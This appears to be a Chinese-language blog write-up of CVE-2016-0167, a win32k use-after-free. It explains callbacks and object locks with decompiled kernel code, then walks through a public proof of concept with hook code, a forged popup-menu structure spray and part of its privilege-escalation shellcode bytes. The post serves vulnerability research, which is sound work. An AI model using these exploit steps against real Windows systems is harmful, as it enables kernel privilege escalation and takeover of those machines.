主要参考了leeqwind的博客+个人理解
漏洞原理
前置知识
1.用户模式回调
传统上,win32子系统是在client-server runtime subsystem (CSRSS)的基础上实现的,客户端的线程都有一个对应的服务端线程存在,他们通过fastLPC通信。后来为了提高性能,微软将大部分服务端的组件转移到了内核模式,这就引入了win32k.sys。
这样做的好处是减少了线程切换的次数和内存需求;但是和以前直接在相同特权级别直接访问代码/数据相比,用户/内核的状态转换慢。为了加快状态转换速度,微软的做法是在用户模式地址空间缓存部分数据结构;为了在内核态访问这些数据结构,需要有一种将控制权交给用户模式的方法,微软用的方法就是用户模式回调。
用户模式回调允许win32k回调到用户模式,并可以执行应用程序自定义的挂钩(hook)、事件通知、从/向用户模式拷贝数据。
2.用户对象的位置
windows中每个句柄的实际位置保存在句柄类型信息表中(win32k!ghati),这个表保存了对象的分配标志、类型、指向销毁例程的指针。当对象的引用锁计数为零时就会调用ghati中对应的销毁例程。
3.win32k的命名约定
为了使开发者对可能回调到用户模式的函数做出相应预防措施,win32k使用了他自己的函数命名约定。函数的前缀xxx或zzz会表明函数以何种方式调用用户模式回调。以xxx前缀命名的函数大部分会调用用户模式回调,以zzz为前缀命名的函数大部分会调用异步或延时的回调。
4.对象锁
windows使用锁来确保内核执行用户模式回调时对象不被改变,锁的类型一般有两种,线程锁和赋值锁。
线程锁通常用于给函数内部的对象或者缓冲区加锁。每一个线程被加锁的项存储在线程锁结构 (win32k! TL)的一个线程锁单链表。线程信息结构(THREADINFO.ptl)会指向该列表。当一个 Win32k 的函数不再需要某个对象或者缓冲区时, 它会调用 ThreadUnlock() 函数将锁项从线程锁列表中移除。
赋值锁用于对用户对象更长时间的加锁。赋值锁的对象是指向被锁对象的指针,在加赋值锁时win32k调用HMAssignmentLock(Address,Object),释放对象赋值锁时调用HMAssignmentUnlock(Address)。
漏洞分析
以下分析关键代码和主要逻辑。win32k!xxxMNDestroyHandler用于销毁菜单窗口的关联弹出菜单tagPOPUPMENU,win32k!xxxMNDestroyHandler首先检查了当前菜单是否包含子菜单,并遍历子菜单发送消息xxxMNCloseHierarchy执行关闭子菜单的任务。
void __stdcall xxxMNDestroyHandler(_tagPOPUPMENU *popupmenu){ _tagWND *v1; // eax int v2; // ecx int v3; // eax _tagWND *spwndNotify; // eax _DWORD *spmenu; // eax _tagWND *v6; // eax _DWORD *v7; // esi _SINGLE_LIST_ENTRY *v8; // [esp+4h] [ebp-Ch] _tagWND *v9; // [esp+8h] [ebp-8h] if ( popupmenu ) { if ( popupmenu->spwndNextPopup ) { v1 = (_tagWND *)popupmenu->spwndPopupMenu;// 判断当前菜单是否存在子菜单 if ( !v1 ) // 不存在子菜单 v1 = (_tagWND *)popupmenu->spwndNextPopup;// 指向下一个菜单 v8 = gptiCurrent[45].Next; gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8; v9 = v1; ++v1->head.cLockObj; xxxSendMessage(v1, 0x1E4, 0, 0); // xxxMNCloseHierarchy,关闭子菜单 ThreadUnlock1(); // 关闭线程锁 }
然后检查fSendUninit标志位,其中fSendUninit是在子弹出菜单初始化时通过xxxTrackPopupMenuEx或 xxxMNOpenHierarchy被默认置位,参数spwndNotify在窗口初始化时作为用户窗口对象的地址,调用时是可控的,这将导致xxxSendMessage在处理WM_UNINITMENUPOPUP消息时有可能被回调到用户进程,漏洞也就是出现在这里。
if ( popupmenu->_union_1.fIsMenuBar & 0x200000 )// fSendUninit { spwndNotify = (_tagWND *)popupmenu->spwndNotify; if ( spwndNotify ) { v8 = gptiCurrent[45].Next; gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8; v9 = spwndNotify; ++spwndNotify->head.cLockObj; spmenu = (_DWORD *)popupmenu->spmenu; if ( spmenu ) spmenu = (_DWORD *)*spmenu; xxxSendMessage( // vul here (_tagWND *)popupmenu->spwndNotify, 0x125, // WM_UNINITMENUPOPUP (WCHAR)spmenu, (void *)((unsigned __int16)((((unsigned int)popupmenu->_union_1.fIsMenuBar >> 2) & 1) << 13) << 16)); ThreadUnlock1(); } }
win32k!xxxSendMessage中主要是给线程临界区加锁,然后执行了xxxSendMessageTimeout。xxxSendMessageTimeout中执行了一个自定义的钩子函数,然后判断接收信息窗口spwndNotify的标志位没有检查相应内存区域的有效性直接执行了一个回调函数spwndNotify->lpfnWndProc。
if ( gptiCurrent == (PSINGLE_LIST_ENTRY)spwndNotify->head.pti ) { if ( (LOBYTE(gptiCurrent[75].Next) | LOBYTE(gptiCurrent[51].Next[3].Next)) & 0x20 ) { v22 = spwndNotify->head.h__; v20 = UnicodeString; v19 = Src; v21 = v12; v23 = 0; xxxCallHook(0, 0, (int)&v19, 4); // 执行回调 } if ( spwndNotify->_union_2.state & 0x40000 ) { IoGetStackLimits(&LowLimit, &HighLimit); if ( (unsigned int)&HighLimit - LowLimit < 0x1000 ) return 0; result = (_SINGLE_LIST_ENTRY *)((int (__stdcall *)(_tagWND *, int, _DWORD, void *))spwndNotify->lpfnWndProc)(// 未检查相应内存区域有效性直接访问 spwndNotify, v12, UnicodeString, Src); if ( !pMbString ) return result; *(_DWORD *)pMbString = result; } else { xxxSendMessageToClient(spwndNotify, v12, UnicodeString, Src, 0, 0, (int)&HighLimit);
win32k!xxxMNDestroyHandler最后判断了fDelayedFree标志位,只有当fDelayedFree标志位为空时才会马上执行MNFreePopup,否则只清除fDelayedFree标志位。
if ( popupmenu->_union_1.fHasMenuBar & 0x10000 )// fDelayedFree { v7 = (_DWORD *)popupmenu->ppopupmenuRoot; if ( v7 ) *v7 |= 0x20000u; // 清除fDelayedFree标志位 } else { MNFreePopup(popupmenu); }
MNFreePopup首先判断当前要释放的弹出菜单是否为根菜单,若是则执行MNFlushDestroyedPopups进行释放。接着清除窗口对象成员域的赋值锁,最后释放掉窗口对象。
void __stdcall MNFreePopup(_tagPOPUPMENU *P){ int v1; // eax if ( P == (_tagPOPUPMENU *)P->ppopupmenuRoot )// 要释放的是当前根菜单 MNFlushDestroyedPopups((#162 *)P, 1); v1 = P->spwndPopupMenu; if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != (_tagPOPUPMENU *)&gpopupMenu ) *(_DWORD *)(v1 + 176) = 0; HMAssignmentUnlock(&P->spwndPopupMenu); // 清除赋值锁 // 减小锁计数对象,锁计数为1时调用 HMUnlockObjectInternal销毁对象 HMAssignmentUnlock(&P->spwndNextPopup); HMAssignmentUnlock(&P->spwndPrevPopup); UnlockPopupMenu((int)P, &P->spmenu); UnlockPopupMenu((int)P, &P->spmenuAlternate); HMAssignmentUnlock(&P->spwndNotify); HMAssignmentUnlock(&P->spwndActivePopup); if ( P == (_tagPOPUPMENU *)&gpopupMenu ) gdwPUDFlags &= 0xFF7FFFFF; else ExFreePoolWithTag(P, 0); // 释放对象}
其中MNFlushDestroyedPopups遍历并根据链表中每个对象的fDestroyed标志位调用MNFreePopup对对象进行释放。
for ( result = (_tagPOPUPMENU **)((char *)a1 + 36); *result; result = (_tagPOPUPMENU **)((char *)v2 + 36) ) { v4 = *result; if ( (*result)->_union_1.fIsMenuBar & 0x8000 )// fDestroyed { v5 = *result; *result = (_tagPOPUPMENU *)v4->ppmDelayedFree; MNFreePopup(v5); } else if ( a2 ) { v4->_union_1.fIsMenuBar &= 0xFFFEFFFF; *result = (_tagPOPUPMENU *)(*result)->ppmDelayedFree; } else { v2 = (#162 *)*result; }
HMAssignmentUnlock清除赋值锁的过程首先减小了对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象。销毁时调用win32k!ghati对应表项的销毁例程,并最终调用xxxDestroyWindow对窗口对象进行释放。
3: kd> reax=ff911020 ebx=fd4425e8 ecx=0000000c edx=00000201 esi=fd4425e8 edi=924df600eip=9238e301 esp=90519ac4 ebp=90519ac8 iopl=0 nv up ei pl nz na pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206win32k!HMDestroyUnlockedObject+0x15:9238e301 ff9118294b92 call dword ptr win32k!gahti (924b2918)[ecx] ds:0023:924b2924={win32k!xxxDestroyWindow (92345c1f)}
漏洞利用
这里只根据leeqwind师傅的poc分析下漏洞的利用思路,poc地址https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp
漏洞利用的过程就是一个uaf的利用过程,只不过内核的消息处理机制比较复杂,漏洞触发流程也比较复杂。总体思路是win32k!xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息执行自定义hook函数时对窗口对象double free,double free可以在hook中通过发送MN_CANCELMENUS消息并在处理消息进入xxxMNDestroyHandler中处理WM_UNINITMENUPOPUP消息时调用DestroyWindow来实现;重新置位内存的过程可以通过发送一个WM_NCCREATE消息重新申请内存并对double free的内存spwndNotify->lpfnWndProc成员域覆盖成shellcode的地址,由于xxxSendMessageTimeout没有检查内存spwndNotify->lpfnWndProc成员域的合法性直接访问了,这样就会劫持控制流执行shellcode。
首先设置WH_CALLWNDPROC类型的自定义hook函数,并设置事件通知范围为EVENT_SYSTEM_MENUPOPUPSTART,即菜单开始弹出的事件通知。然后通过调用TrackPopupMenuEx使第一个菜单作为根菜单显示,并进入消息循环状态。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0); TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); MSG msg = { 0 }; while (GetMessageW(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageW(&msg); }
调用TrackPopupMenuEx显示菜单时会触发EVENT_SYSTEM_MENUPOPUPSTART事件通知,由于我们自定义了EVENT_SYSTEM_MENUPOPUPSTART通知的事件通知处理函数xxWindowEventProc,xxxWindowEvent在处理该通知时会进入我们自定义的xxWindowEventProc函数中,而在我们自定义的事件通知处理函数xxWindowEventProc中主要发送了三个消息
SendMessageW(hwnd, MN_SELECTITEM, 0, 0); SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0); PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
在处理分发MN_OPENHIERARCHY消息时会调用xxxCreateWindowEx创建新的菜单窗口,在xxxCreateWindowEx中会调用xxxSendMessage发送WM_NCCREATE的消息,并最终调用xxxSendMessageTimeout执行xxxCallHook进入我们自定义的hook函数xxWindowHookProc中。而在xxWindowHookProc中主要是判断并根据消息的类型进入DestroyWindow或者发送MN_CANCELMENUS消息进入xxxMNCancel的流程。其中WM_UNINITMENUPOPUP消息表明这时处于第一次调用xxxMNDestroyHandler期间,这时调用DestroyWindow销毁窗口即可;WM_NCCREATE消息表明是显示完根菜单并进入事件通知处理函数xxWindowEventProc期间,这时需要发送MN_CANCELMENUS消息并进入xxxMNCancel的流程对目标窗口进行double free,xxxMNCancel会调用xxxDestroyWindow并最终调用xxxMNDestroyHandler对窗口对象进行释放。
if (cwp->message == WM_UNINITMENUPOPUP && bEnterUninit == FALSE && hMenuList[1] == (HMENU)cwp->wParam) { DestroyWindow(hwndMenuDest); } else if (cwp->message == WM_NCCREATE && hwndMenuDest == NULL && hwndMenuList[0] && !hwndMenuList[1]) { hwndMenuDest = cwp->hwnd; SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0); PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1); }
这里需要注意的一点是如何使目标窗口fDelayedFree标志位置0进而在xxxMNDestroyHandler中直接进入MNFreePopup的流程。首先需要明确的一点是在自定义hook中调用SendMessageW发送MN_CANCELMENUS消息时,由于此时是处于消息队列处理分发WM_NCCREATE消息期间,MN_CANCELMENUS消息的处理要早于WM_NCCREATE消息,因此WM_NCCREATE要创建的子消息窗口此时并未创建成功,处理MN_CANCELMENUS消息也不会销毁任何子弹出菜单,这样子弹出菜单的fDestroyed标志位就不会被置位。
同时,在自定义hook中处理MN_CANCELMENUS消息调用xxxMNCancel销毁根菜单时,由于根菜单是被正常创建的,fDelayed标志位是置位的,xxxMNDestroyHandler不会进入MNFreePopup的流程,最终调用xxxMNEndMenuState来清理菜单结构体。
在SendMessage发送MN_CANCELMENUS消息返回后,我们异步的调用PostMessage发送自定义的消息WM_EX_TRIGGER。这时系统并不会马上执行对异步消息的处理,对WM_EX_TRIGGER消息的处理最终在窗口关联对象的消息循环xxxMNLoop中执行。
接下来内核继续进行处理WM_NCCREATE消息完成创建子菜单的操作,然后再进入xxxMNLoop消息循环中处理MN_CANCELMENUS消息。在消息循环中会判断若fDestroyed置位,则需要终止菜单,这时会跳出消息循环调用xxxEndMenuLoop终止菜单返回到xxxTrackPopupMenuEx中,xxxTrackPopupMenuEx会调用xxxMNEndMenuState来最终执行菜单终止的任务。xxxMNEndMenuState会调用MNFreePopup进而调用MNFlushDestroyedPopups来释放链表中fDestroyed未置位的对象,而上边的分析中我们已经得出子弹出菜单的fDestroyed不会被置位,因此子菜单不会被释放,且fDelayedFree标志位会被MNFlushDestroyedPopups置零。
void __stdcall xxxMNEndMenuState(int a1){ PSINGLE_LIST_ENTRY v1; // edi _SINGLE_LIST_ENTRY *v2; // esi _SINGLE_LIST_ENTRY *v3; // eax v1 = gptiCurrent; v2 = gptiCurrent[65].Next; if ( !v2[7].Next ) { MNEndMenuStateNotify(gptiCurrent[65].Next); if ( v2->Next ) { if ( a1 ) MNFreePopup((_tagPOPUPMENU *)v2->Next); else v2->Next->Next = (_SINGLE_LIST_ENTRY *)((_DWORD)v2->Next->Next & 0xFFFEFFFF); }
这时系统会进行hook函数中自定义的消息WM_EX_TRIGGER的处理,进而进入自定义的消息处理函数xxMainWindowProc中。
staticLRESULTWINAPIxxMainWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam){ if (msg == WM_EX_TRIGGER) { DWORD_PTR popupMenuDest = 0; popupMenuDest = *(DWORD_PTR*)((PBYTE)xxHMValidateHandle(hwndMenuDest) + 0xb0); DestroyWindow(hwndMenuDest); LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuDest, 0); } return DefWindowProcW(hwnd, msg, wParam, lParam);}
xxMainWindowProc调用DestroyWindow并最终调用xxxMNDestroyHandler销毁目标窗口,xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息时会将关联窗口对象句柄作为参数传入,这将命中xxWindowHookProc中处理消息为WM_UNINITMENUPOPUP且spmenu为cwp->wParam的条件执行DestroyWindow(hwndMenuDest),这会导致针对相同hwndMenuDest对象第二次执行xxxMNDestroyHandler,第二次执行xxxMNDestroyHandler时会执行同样的流程但是由于自定义的标志位bEnterUninit已经改变,所以不会第三次执行DestroyWindow。
if (cwp->message == WM_UNINITMENUPOPUP && bEnterUninit == FALSE && hMenuList[1] == (HMENU)cwp->wParam) { bEnterUninit = TRUE; DestroyWindow(hwndMenuDest); DWORD dwPopupFake[0xD] = { 0 }; dwPopupFake[0x0] = (DWORD)0x00088208; //->flags dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped dwPopupFake[0xC] = (DWORD)0; for (UINT i = 0; i < iWindowCount; ++i) { SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake); } }
由于此时子弹出菜单fDelayedFree标志位未被置位,将会马上执行MNFreePopop释放掉。(若此时只进行DestroyWindow没有之后的伪造会返回到第一次xxxMNCancel最终调用xxxMNDestroyHandler时会执行相同的操作进而构成double free。)而在实际poc中对xxTrackExploitEx中批量创建的hWindowList[]窗口对象的GCL_MENUNAME进行了伪造。执行完DestroyWindow返回到xxMainWindowProc中继续执行调用SendMessageW发送一个消息0x9F9F并最终触发提权操作。
0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh 0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128 // Loader+0x109b: // Judge if CS is 0x1b, which means in user-mode context. 0x66, 0x8c, 0xc8, // mov ax,cs 0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128 // Loader+0x10a8: // Get the address of pwndWindowHunt to ECX. // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc. // Get the address of pvShellCode to EDX by CALL-POP. // Get the address of pvShellCode->tagCLS[0x100] to ESI. // Get the address of popupMenuDest to EDI. 0xfc, // cld 0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8] 0xff, 0x41, 0x16, // inc dword ptr [ecx+16h] 0x60, // pushad 0xe8, 0x00, 0x00, 0x00, 0x00, // call $5
来源:https://www.cnblogs.com/snip3r/p/12335515.html